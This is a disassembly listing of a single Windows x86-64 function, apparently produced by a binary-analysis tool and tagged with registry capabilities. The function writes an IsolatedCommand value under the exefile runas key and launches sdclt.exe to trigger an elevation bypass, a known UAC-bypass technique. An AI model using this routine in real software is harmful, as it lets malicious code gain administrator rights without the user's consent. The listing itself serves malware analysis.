Function at 0x140016c53
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
jmp 0x1400245f0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xab8
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x2ae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xad8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0xa58], rax
lea rcx, [0x14006d14e]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x64], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xe8], 0
mov rcx, qword [rbp + 0xa80]
call fcn.14001680c
mov qword [rbp + 0x88], rax
lea rdx, str.SoftwareClassesexefile
lea rcx, [rbp + 0x110]
call fcn.14001616d
lea rdx, str._shell_runascommand
lea rcx, [rbp + 0x110]
call fcn.1400165e1
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x110]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x140024706
jmp 0x14002488e
mov rax, qword [0x140065a08]
cmp dword [rax + 0x5c], 0x3f6d
jb 0x140024726
lea rax, [0x140047438]
mov qword [rbp + 0xc8], rax
jmp 0x140024734
lea rax, str.IsolatedCommand
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0x64], 0x208
mov edx, 0x20a
lea rcx, [rbp + 0x540]
call fcn.140016c2b
lea rax, [rbp + 0x64]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x540]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cdqe
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140024795
mov dword [rbp + 0x24], 1
mov rax, qword [rbp + 0x88]
lea rax, [rax + rax + 2]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0xa80]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140024884
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14001616d
lea rdx, str.sdclt.exe
lea rcx, [rbp + 0x110]
call fcn.1400165e1
lea rdx, str._KICKOFFELEV
lea rcx, [rbp + 0x110]
call fcn.140016a7d
test eax, eax
je 0x140024838
mov dword [rbp + 4], 0
cmp dword [rbp + 0x24], 0
jne 0x140024854
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x140024884
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x540]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor eax, eax
test eax, eax
jne 0x14002466d
cmp qword [rbp + 0xe8], 0
je 0x1400248a5
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400489b0]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0xa58]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0xa68]
pop rdi
pop rbp
ret